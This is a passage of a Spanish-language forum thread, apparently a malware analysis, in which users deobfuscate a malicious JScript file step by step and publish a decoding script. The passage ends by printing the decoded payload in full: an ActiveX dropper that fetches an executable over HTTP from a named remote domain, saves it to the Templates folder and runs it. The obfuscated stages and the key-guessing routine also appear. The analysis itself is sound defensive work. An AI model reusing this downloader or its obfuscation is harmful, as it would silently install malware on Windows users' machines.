'eKAxegJjdOfzKAxegJjdOf+KAxegJjdOf&KAxegJjdOf3KAxegJjdOf:KAxegJjdOf&4KAxe' + 'gJjdOf+CKA' + 'xegJj' + 'dOf&AKAxegJjdOf3KAxegJjdOf1+&KAxegJjdO' + 'f+KAxegJjdOf1A+EA&KAxegJjdOf+KAxegJj' + 'dOfA1KAxegJjdOf+KAxegJj' + 'dOfAKAxegJjdOf+KAxegJjdOfB+TKAxegJjdOfuKAxegJjdO' + 'fsKAxegJjdOf' + 'fKAxegJjdOfbKAxeg' + 'JjdOfnKAx' + 'egJjdOf&A3FKAxegJj' + 'dOf+KAxegJjdOfQ+pAKAxegJjdOf+KAxe' + 'g' + 'JjdOftKAxegJjdOf+KAxegJjd' + 'OfAKAxegJjdOfjKAxegJjdOfuKAxe' + 'gJjdOf' + '+KA' + 'xegJjdOfj+KAxegJjdOfA+po+&KAxegJj' + 'dOfAKA' + 'xegJ' + 'jdOf+' + 'KAxegJjdOf' + '3KAxegJjdOf1KA' + 'xegJjdOf&KAxegJjdOf' + '4EKAxegJj' + 'dOf&KAxegJ' + 'jdOf31KAxegJjdOf&KAxegJjdOf4+KAxegJj' + 'dOfA1KAxegJjdOf&KAxegJjd' + 'OfAKAxegJjdOf+4KAxegJj' + 'dOf+KAxeg' + 'JjdOfAKAx' + 'egJjdOfC+KAxe' + 'gJjdOf&KAxegJjdOf3KAxegJjdOf1KAxegJjdOf+TKAxegJjdOfAKAxegJjdOfuKAxegJjdOf+AKAxeg' + 'J' + 'j' + 'dOf+KAxegJjdOfsKAxeg' + 'JjdOf+KAxegJjdOfAfbKAxegJjdOfnKAxegJjdOf&' + 'KAxegJjdOfA3+FKAxegJjdOf' + '+KAxegJjd' + 'OfTKAxegJjdOfb+wKAxeg' + 'JjdOf+fKAxegJjdOfU+KAxegJjdO' + 'fAKAxegJjdOfpAGj+KAxegJj' + 'dOfm' + 'KAx' + 'egJjdOf+KAxegJjdOfAKAxegJjd' + 'O' + 'f+KAxegJjdOffKAxegJj' + 'dOf&3KAxegJjdOf9KAxegJjdOfAKAxegJjdOfqKAxegJjdOfbuAKAxegJjdOfi&KAxegJjdOfA3+KAxegJj' + 'dOfDKAxegJjdOf+&31KAxegJjdOf&43KAxegJjd' + 'Of+&KAxeg' + 'Jj' + 'dOf3A:&KAxegJjdOf4KAxegJjdOfCKAxegJjdOf&1+AKAxegJjdO' + 'fEKAxegJjdOf&+KAxegJjdOf1BKAxegJjdOfATu+sKAxegJ' + 'jdOf+KAxegJjdOffKAxegJjdOfbKAxegJjdOf+KAxegJjdOfn&3KAxegJjdOfF' + 'DKAxegJjdO' + 'fAKAxegJ' + 'jdOf+KAxegJjdOfmpKAx' + 'egJjdOftKAxegJjdOfAKAxegJjdOffKAxegJjdOfA&3KAx' + 'egJjdOf9KAxegJj' + 'dOf&3K' + 'AxegJjdOf:+&KAxegJjdOf+KAxegJ' + 'jdOf4+' + 'KAxegJjdOfC+&KAxegJ' + 'jdOfA31ti' + 'KAx' + 'egJjdOf&A+3KAxegJjdOfFAKAxegJjdOfTAKAxegJjdOfiA+KAxeg' + 'JjdOffAmmKAxegJjdOfFKAxegJjd' + 'OfyfKAxegJjdOf' + 'dKAxegJjdO' + 'fvKAxegJjdOf+uKAxegJjdOf' + 'fAKAxegJjd' + 'Of&3KA' + 'xegJjdOf9q' + 'KAxegJjdOfbui&KAxegJj' + 'dOf3KAxegJjdOf+KAxegJjdOfD&+AKAxegJjdOf' + '3KAxegJjdOf1+KAxegJjdOfAKAxegJj' + 'dOf&KAxegJjdOfA3KAxegJjdOf3&33KAxegJjdOf+&KAxegJjd' + 'Of3+' + 'DKAxegJjdOf&KAxegJjdOf31+KAxegJjdOfAKAxe' + 'gJjdOf&3KAxegJjdOf3K' + 'AxegJjdOf+&33KAxegJjdOfAKAxegJjdOf&KAxegJjdOfAKAxegJjdOf3K' + 'AxegJjdOfAKAxegJjdOf+DAKAxegJ' + 'jdOf&KAxeg' + 'JjdOf+3' + 'A' + 'KAxegJjdOf1KAxegJjdOf+KAxegJjdO' + 'fAKAxegJjdOf&3KAxegJj' + 'dO' + 'f3KAxe' + 'gJjdOfpKAxegJjdOfqKAxegJjdOffKAxegJjd' + 'Of+Ao+AK' + 'AxegJjdOf+KAxegJjdOf&' + 'KAxegJjdOf3AKAxegJjdOf3KAxegJjdOfAKAxegJjdOf+&+3KAxeg' + 'JjdO' + 'fAKAxegJjdOf+KAxegJjdOfDKAxegJjdOf' + '&AKAxegJjdOf+K' + 'AxegJjdOf3AKA' + 'xegJjdOf1KAxegJ' + 'jdOf+KAxegJjdO' + 'f&4KAxegJjdOf2&KAxegJjdOf3KAxegJjdOf:&KAxegJjdOf4KAxegJjdOfAKAxegJjdOfCA&3KAxe' + 'gJjdOf1KAxegJjdOf&KA' + 'xegJjdOfAKAxegJ' + 'jdOf+KAxegJjdOf8E#KAxegJj' + 'dOf' + '*KAxegJjdOf*KAxegJjdOf<"KAxegJjdOf;KAxeg' + 'JjdOf KAxeg' + 'JjdOfIKAxegJjdOfGhKAxegJjdOfuKAxegJjdOfToKAxegJjdOfEKAxegJjdOfwXKAxegJjdOflKAx' + 'egJjdOfJBKAxegJjdOfQPK' + 'AxegJjdOfSKAxegJjdOf KAxegJjdOf=KAxegJj' + 'dOf KAxegJjdOf"KAxegJjdOf";KAxegJjdOf hKAxegJjdO' + 'fxKAxegJjdOfE' + 'KAxegJjdOfobKAxegJjd' + 'OfzKAxegJjdOfl' + 'KAxegJjdOfsRgNKAxegJjdOffcKAxegJjdOfdKAxegJjdO' + 'fXKAxegJjdOf KAxegJjdOf=KAxe' + 'g' + 'JjdOf KAxegJjdOfOKAxegJjdOfKMKAxegJjdOfwPHKAx' + 'egJjdOfjKAxegJjd' + 'Of' + 'JKAxegJjdOfQymtKAxegJjdOfdKA' + 'xegJjdOfVKAxegJjdOfXKAxegJjdOf.KAxegJ' + 'jdOfReKAxegJjdOfgKAxegJjdO' + 'fReKAxegJjdOfad("' + 'KAxegJjdOfHKAxegJjdOfKLKAxe' + 'gJjdOfM"+KA' + 'xegJjd' + 'OfdKAxeg' + 'JjdOfh' + 'KAxegJjdO' + 'fJRKAxegJjdOfNaKAxeg' + 'JjdOff' + 'KA' + 'xegJjdOfpLKAxegJjdOfszq' + 'KAxegJjdOfjKAxegJjdOfoigKAxegJjdOf(92KAxegJjdOf)KAxegJjdOf+"sKAxegJjdOfofKAxegJjdOftwKAxegJjdOfa' + 'KAxegJjdOf' + 'reKAxegJjdOf"KAxegJjdOf+KAxegJj' + 'dOfdhJRNKAxegJjdOf' + 'af' + 'KAxegJjdOfpLKA' + 'xegJjdOfszqjKA' + 'xegJjdOf' + 'oKAxegJjdOfig(KAxegJjdOf92KAxegJjdOf)KAxegJ' + 'jdOf+"KAxegJj' + 'dOfmiKAxegJjdO' + 'fcKAxegJjdOfrosKAxegJjdOfoKAxegJjdOffKAxegJjdOft"KAxegJjdOf+KAxegJjdOfdhKAxegJjdOfJRKAxegJjdOfNaKAxegJjdOffpKAxegJjdOfLsz' + 'qKAxegJjdOfjKAxegJjdOfo' + 'KAxegJjdOfig(KAxegJjdOf9KAxegJjdOf2)+KAxegJjdOf"KAxegJjdOfwindowsKAxegJjdOf K' + 'AxegJ' + 'jdO' + 'f' + 'nt"+KAxegJjdOfdKAxegJjdOfh' + 'KAxegJjdOfJ' + 'KAxegJjdOfRKAxegJjdOfNaKAxegJjdOffpKAxegJjdOfLsKAxegJjdOfzKAxegJj' + 'dOfqjoiKAxegJjdO' + 'fgKAxegJj' + 'dO' + 'f(9KAxegJjdOf2KA' + 'xegJjdOf)KAxegJjdOf+"cKAxe' + 'gJjd' + 'OfuKAxegJjdO' + 'frKAxeg' + 'JjdOfrKAxegJjdO' + 'fenKAxegJjd' + 'OftKA' + 'x' + 'egJjdOfverKA' + 'xegJjd' + 'OfsKAxegJjdO' + 'fioKAxegJjd' + 'OfnKAxegJjdOf"+KAxegJjdOfdKAxegJjdOfhKAxegJjdOfJKAxegJjdOfRKAxegJjdOfNa' + 'KAxegJjdOffKAxegJjdOfpKAxegJjdOfLKAxe' + 'gJjd' + 'OfszKAx' + 'egJjdOfqKAxegJjdOfj' + 'oKAxegJjdOfigKAxe' + 'gJjdOf(KAxegJjdOf9KAxe' + 'gJjdOf2KAxegJjdOf)KAxegJjdOf+KAxegJjdOf"KA' + 'xegJjdOfsKAxegJjdOfyKAxeg' + 'JjdOfsKAxegJjdOftKAxegJjdOfemK' + 'AxegJjdOfroot' + 'KAxegJjdOf"); OKAxegJjdOflKAxegJjdOf' + 'wKAxegJjdOfpKAxegJjdOfPLKAxegJ' + 'jdOfsKAxegJjdOfvRKAxegJj' + 'dOfDKAxegJjdOfhKAxegJjdOfBKKAxeg' + 'J' + 'jdO' + 'fQKAxegJjdOfEKAxegJjdOfVKAx' + 'egJjdO' + 'f K' + 'AxegJjdOf= KAxegJjdOfMKAxegJjdOfurKAxegJjdOfNKAx' + 'egJjdOfKQlKAxegJjdOfVKAxegJ' + 'jd' + 'Of' + 'S' + 'KAxegJjdOfcKAxegJj' + 'dOfmpLKAxegJjdOfDX' + 'KAx' + 'egJjdOfRe(hK' + 'AxegJjdOfxKAxegJjdOfE' + 'oKAxegJjdOfbKAxegJjd' + 'OfzKAxegJjdO' + 'flsRgNKAxe' + 'gJjdOffKAxegJjdOfcKAxegJjdOfdKAxegJjdOfX' + 'KAxe' + 'gJjdO' + 'f, KA' + 'xegJjdOf1);'
return KgJtXdpCLGQOuRMmYeV.replace(RegExp(vPsiWmlGbuYgxoeO, "g"), "");
}
//var QoUEVpsCPaHJLBvKIf = eval(JIUFoiVePNXYTRaOyB("KAxegJjdOf")); impedimos la ejecucon de eval
console.log(JIUFoiVePNXYTRaOyB("KAxegJjdOf")); //mostramos el resto
Lo que nos devuelve
juEFqegXodwknWtlpOv = new ActiveXObject("sHell.aPPlicAtIon");
OKMwPHjJQymtdVX = new ActiveXObject("wsCRipT.ShelL");
PdoNEByUDLakcIiurJF = new ActiveXObject("ScrIpting.filEsYstemobJecT");
function dhJRNafpLszqjoig(LNCoRYhWseMSKfj)
{
return String.fromCharCode(LNCoRYhWseMSKfj);
}
function iyMwbtAxWPOohYzjGv(DlibcWEgNxfXJtnFruQ)
{
return PdoNEByUDLakcIiurJF.FolderExists(DlibcWEgNxfXJtnFruQ);
}
function MurNKQlVScmpLDXRe(qrPFDfoLQEACOjptid, reEkjghKfVbzHPYI)
{
return qrPFDfoLQEACOjptid.charCodeAt(reEkjghKfVbzHPYI);
}
ojLqWfitUlxbncuQG = "f+wA+b+m+)+v+o+ftdb+q+f+A)#wAbs+&A31+xti+A+&3A+1&4+AE&31A+ofx+&+31BdA+uj+AwAfYP+c+A+k+f+A+d+uA+&A3A9A+&A+33xtdsj+qu+&+3A+Ft+i+fmA+m&+33&+3:&4C&+1AE+&A+1BA+wbs&A+3+1+tAi&3A1A+&4E&A31+ofAx&A+31+BduA+jAwfAY+APc+k+A+fd+u&A+3+9+A&33A+tAifm+m&3+FbqA+qmA+j+d+bujpo+&+33&3:A&+A4+C&+1E&A1+A+B+wbs&A31AIUU+Q&31&4A+E&3A1+Aof+x&31Bdujwf+YAPAc+kfdu&A39A&A3+3NTY+A+N+M&+4A+3&A3AF+YAN+AMAIU+UQ+&+A33A&3:&4CA&1+EA+&A1Bwbs&A+3+1TA+uAs+fb+A+nA&+3+1&A4EA+&3A1oA+fAx+&31BAdu+jAwfYAPc+Ak+f+AdA+u&3+A+9+&A33BE+PAEC&A3+A+FAT+us+Af+bn&33&A+3A:+A&+4+AC+A&+1E&A1+B+Aw+A+b+s&31q+A+bA+ui+&+A31&+4A+E&A+31+x+tA+i&+3+FT+Aqfdj+Abm+G+Ap+mef+s+t+&3+9&3A3+A+UA+fnqAmAb+u+fAtA&A+3A+3+&3:A&3+C&33+A&6AD&+6DA+&A33&A3AC&3A9&3A9Nb+ui&A+3+FAs+AbAoe+ApAn+&+3A9A+&3:&+3BA&A4:&4:A+&+4:+&A+4:&4:&+4+:&A3:A+&A+3AC+A+&+4A+:&A+4+:&4+A:&4:+&+8A+DA&41&3:&3AC&+33A+&+3FA+fyf&+A33&A+4+C&A+1EA&+1B+AIU+UQ+&3AF+Pqfo+&3A9&33AHFA+U+A+&33+A&+3DA&A+31A&3+3+AiA+uu+Aq+A&4B&3AG+&3G+e+Ap+A+vsA+v+jo+j+u+A+zeAvAbef&3+F+A+yAz
{
&3G+tfAb+A+sA+d+Ai+&+3FqA+iq+&+A33+A+&+3D&+A3+1gb+m+tf&A3+A:A&+A4C+&+31I+UU+QA&+3+A+F+ATfo+Ae+A&39&3:A&+4C&+3A+1jAgA&3+1+A+&+3A9+IUU+QA&+3+A+F+TubuAvt&+31+&4+A+E&A4+A+E&+3A1A&43&41&4+A1+&3A:A&3A1A&+8C&1E+A&1BTuAs+f+b+nA+&3FP+Aqf+o+A&+A39&3+:+A&+4C&31+Tusf+bn&+3AFA+UzqfA&31+&A4+E&+31&42&4CA&3A+1T+AusA+fbnA&3+FAX+sju+f&3+9IAUUQ&A3+AF+Sftqpo+AtfCApAez+&3:&4+C&A31+&+1A+EA&+A1+A+B+Tusfbn&A3F+Q+pA+t+Aju+j+A+po+&A+31&4E&31&4+A1&A+4+AC+&31+TAu+A+s+Afbn&A3+F+Tb+w+fU+ApAGj+m+A+f&39AqbuAi&A3+D+&31&43+&3A:&4C&1+AE&+1BATu+s+fb+n&3FDA+mptAfA&39&3:+&+4+C+&A31ti&A+3FATAiA+fAmmFyfdv+ufA&39qbui&3+D&+A31+A&A33&33+&3+D&31+A&33+&33A&A3A+DA&+3A1+A&33pqf+Ao+A+&3A3A+&+3A+D&A+3A1+&42&3:&4ACA&31&A+8E#**<";
IGhuToEwXlJBQPS = "";
hxEobzlsRgNfcdX = OKMwPHjJQymtdVX.RegRead("HKLM"+dhJRNafpLszqjoig(92)+"software"+dhJRNafpLszqjoig(92)+"microsoft"+dhJRNafpLszqjoig(92)+"windows nt"+dhJRNafpLszqjoig(92)+"currentversion"+dhJRNafpLszqjoig(92)+"systemroot");
OlwpPLsvRDhBKQEV = MurNKQlVScmpLDXRe(hxEobzlsRgNfcdX, 1);
Como ves esta mas osfuscado, si te fijas en el for hace alguna que otra operacion matematica y juega con los unicode(charCodeAt), trata de entender como funciona. Como ves juega con ActiveXObject, creo que solo es soportado por ie.
Mm desconozco si seria posible obtener lo que este ofuscado dentro de la variable
ojLqWfitUlxbncuQGEditoCreo que lo importante es esta linea
hxEobzlsRgNfcdX = OKMwPHjJQymtdVX.RegRead("HKLM" + dhJRNafpLszqjoig(92) + "software" + dhJRNafpLszqjoig(92) + "microsoft" + dhJRNafpLszqjoig(92) + "windows nt" + dhJRNafpLszqjoig(92) + "currentversion" + dhJRNafpLszqjoig(92) + "systemroot");
Donde trata de leer el valor de
HKLM\software\microsoft\windows nt\currentversion\systemroot. desconozco el valor que devolveria
Bueno si se puede, aqui esta lee los comentarios
<code id="charCode"></code>
<script>
/* Comentamos no necesitamos esto
juEFqegXodwknWtlpOv = new ActiveXObject("sHell.aPPlicAtIon");
OKMwPHjJQymtdVX = new ActiveXObject("wsCRipT.ShelL");
PdoNEByUDLakcIiurJF = new ActiveXObject("ScrIpting.filEsYstemobJecT");
*/
function dhJRNafpLszqjoig(LNCoRYhWseMSKfj) {
return String.fromCharCode(LNCoRYhWseMSKfj);
}
function iyMwbtAxWPOohYzjGv(DlibcWEgNxfXJtnFruQ) {
return PdoNEByUDLakcIiurJF.FolderExists(DlibcWEgNxfXJtnFruQ);
}
function MurNKQlVScmpLDXRe(qrPFDfoLQEACOjptid, reEkjghKfVbzHPYI) {
return qrPFDfoLQEACOjptid.charCodeAt(reEkjghKfVbzHPYI);
}
ojLqWfitUlxbncuQG = "f+wA+b+m+)+v+o+ftdb+q+f+A)#wAbs+&A31+xti+A+&3A+1&4+AE&31A+ofx+&+31BdA+uj+AwAfYP+c+A+k+f+A+d+uA+&A3A9A+&A+33xtdsj+qu+&+3A+Ft+i+fmA+m&+33&+3:&4C&+1AE+&A+1BA+wbs&A+3+1+tAi&3A1A+&4E&A31+ofAx&A+31+BduA+jAwfAY+APc+k+A+fd+u&A+3+9+A&33A+tAifm+m&3+FbqA+qmA+j+d+bujpo+&+33&3:A&+A4+C&+1E&A1+A+B+wbs&A31AIUU+Q&31&4A+E&3A1+Aof+x&31Bdujwf+YAPAc+kfdu&A39A&A3+3NTY+A+N+M&+4A+3&A3AF+YAN+AMAIU+UQ+&+A33A&3:&4CA&1+EA+&A1Bwbs&A+3+1TA+uAs+fb+A+nA&+3+1&A4EA+&3A1oA+fAx+&31BAdu+jAwfYAPc+Ak+f+AdA+u&3+A+9+&A33BE+PAEC&A3+A+FAT+us+Af+bn&33&A+3A:+A&+4+AC+A&+1E&A1+B+Aw+A+b+s&31q+A+bA+ui+&+A31&+4A+E&A+31+x+tA+i&+3+FT+Aqfdj+Abm+G+Ap+mef+s+t+&3+9&3A3+A+UA+fnqAmAb+u+fAtA&A+3A+3+&3:A&3+C&33+A&6AD&+6DA+&A33&A3AC&3A9&3A9Nb+ui&A+3+FAs+AbAoe+ApAn+&+3A9A+&3:&+3BA&A4:&4:A+&+4:+&A+4:&4:&+4+:&A3:A+&A+3AC+A+&+4A+:&A+4+:&4+A:&4:+&+8A+DA&41&3:&3AC&+33A+&+3FA+fyf&+A33&A+4+C&A+1EA&+1B+AIU+UQ+&3AF+Pqfo+&3A9&33AHFA+U+A+&33+A&+3DA&A+31A&3+3+AiA+uu+Aq+A&4B&3AG+&3G+e+Ap+A+vsA+v+jo+j+u+A+zeAvAbef&3+F+A+yAz {&3G+tfAb+A+sA+d+Ai+&+3FqA+iq+&+A33+A+&+3D&+A3+1gb+m+tf&A3+A:A&+A4C+&+31I+UU+QA&+3+A+F+ATfo+Ae+A&39&3:A&+4C&+3A+1jAgA&3+1+A+&+3A9+IUU+QA&+3+A+F+TubuAvt&+31+&4+A+E&A4+A+E&+3A1A&43&41&4+A1+&3A:A&3A1A&+8C&1E+A&1BTuAs+f+b+nA+&3FP+Aqf+o+A&+A39&3+:+A&+4C&31+Tusf+bn&+3AFA+UzqfA&31+&A4+E&+31&42&4CA&3A+1T+AusA+fbnA&3+FAX+sju+f&3+9IAUUQ&A3+AF+Sftqpo+AtfCApAez+&3:&4+C&A31+&+1A+EA&+A1+A+B+Tusfbn&A3F+Q+pA+t+Aju+j+A+po+&A+31&4E&31&4+A1&A+4+AC+&31+TAu+A+s+Afbn&A3+F+Tb+w+fU+ApAGj+m+A+f&39AqbuAi&A3+D+&31&43+&3A:&4C&1+AE&+1BATu+s+fb+n&3FDA+mptAfA&39&3:+&+4+C+&A31ti&A+3FATAiA+fAmmFyfdv+ufA&39qbui&3+D&+A31+A&A33&33+&3+D&31+A&33+&33A&A3A+DA&+3A1+A&33pqf+Ao+A+&3A3A+&+3A+D&A+3A1+&42&3:&4ACA&31&A+8E#**<";
//Tampoco necesitamos estas lineas
//hxEobzlsRgNfcdX = OKMwPHjJQymtdVX.RegRead("HKLM" + dhJRNafpLszqjoig(92) + "software" + dhJRNafpLszqjoig(92) + "microsoft" + dhJRNafpLszqjoig(92) + "windows nt" + dhJRNafpLszqjoig(92) + "currentversion" + dhJRNafpLszqjoig(92) + "systemroot");
//OlwpPLsvRDhBKQEV = MurNKQlVScmpLDXRe(hxEobzlsRgNfcdX, 1);
IGhuToEwXlJBQPS = "";
//Lo que nos importa es el valor OlwpPLsvRDhBKQEV, cree la funcion para
//ir de numero a numero e ir probando e ir viendo los resultados
function function1(OlwpPLsvRDhBKQEV) {
IGhuToEwXlJBQPS = "";
for (var XTxDhusitPGEHjFQCBJ = 0; XTxDhusitPGEHjFQCBJ < ojLqWfitUlxbncuQG.length; XTxDhusitPGEHjFQCBJ++) {
bLGgrdCMRovlpnx = ojLqWfitUlxbncuQG.charCodeAt(XTxDhusitPGEHjFQCBJ) - (363912 - 6168 * OlwpPLsvRDhBKQEV) / 6168;
if (
(bLGgrdCMRovlpnx != (496000 - 4960 * OlwpPLsvRDhBKQEV) / 4960) &&
(bLGgrdCMRovlpnx != (1009550 - 8275 * OlwpPLsvRDhBKQEV) / 8275)
// No necesitamos llamar estas funciones
// && (iyMwbtAxWPOohYzjGv(hxEobzlsRgNfcdX) == true)
// && (iyMwbtAxWPOohYzjGv(OlwpPLsvRDhBKQEV) == false))
) {
IGhuToEwXlJBQPS += String.fromCharCode(bLGgrdCMRovlpnx);
}
}
return IGhuToEwXlJBQPS;
}
/*
//Aqui llamo la funcion x veces para ir viendo si alguno se
//asemeja a un codigo legible
for (var index = 48; index < 100; index++) {
//function1(index);
document.getElementById("charCode").innerHTML += function1(index) + "<br><br>**" + index + "***<br><br><br>";
}
*/
//Bingo 58 es, decodeURIComponent para que sea legible
document.getElementById("charCode").innerHTML = decodeURIComponent(function1(58));
</script>
Y al final este este codigo
eval(unescape("
var wsh = new ActiveXObject("wscript.shell");
var sh = new ActiveXObject("shell.application");
var HTTP = new ActiveXObject("MSXML2.XMLHTTP");
var Stream = new ActiveXObject("ADODB.Stream");
var path = wsh.SpecialFolders("Templates") + "\\" + ((Math.random() * 999999) + 9999 | 0) + ".exe";
HTTP.Open("GET", "http://douruinityduade.xyz/search.php", false);
HTTP.Send();
if (HTTP.Status == 200) {
Stream.Open();
Stream.Type = 1;
Stream.Write(HTTP.ResponseBody);
Stream.Position = 0;
Stream.SaveToFile(path, 2);
Stream.Close();
sh.ShellExecute(path, "", "", "open", 1);
}
"));
MOD: No hacer doble post. Usa el botón modificar.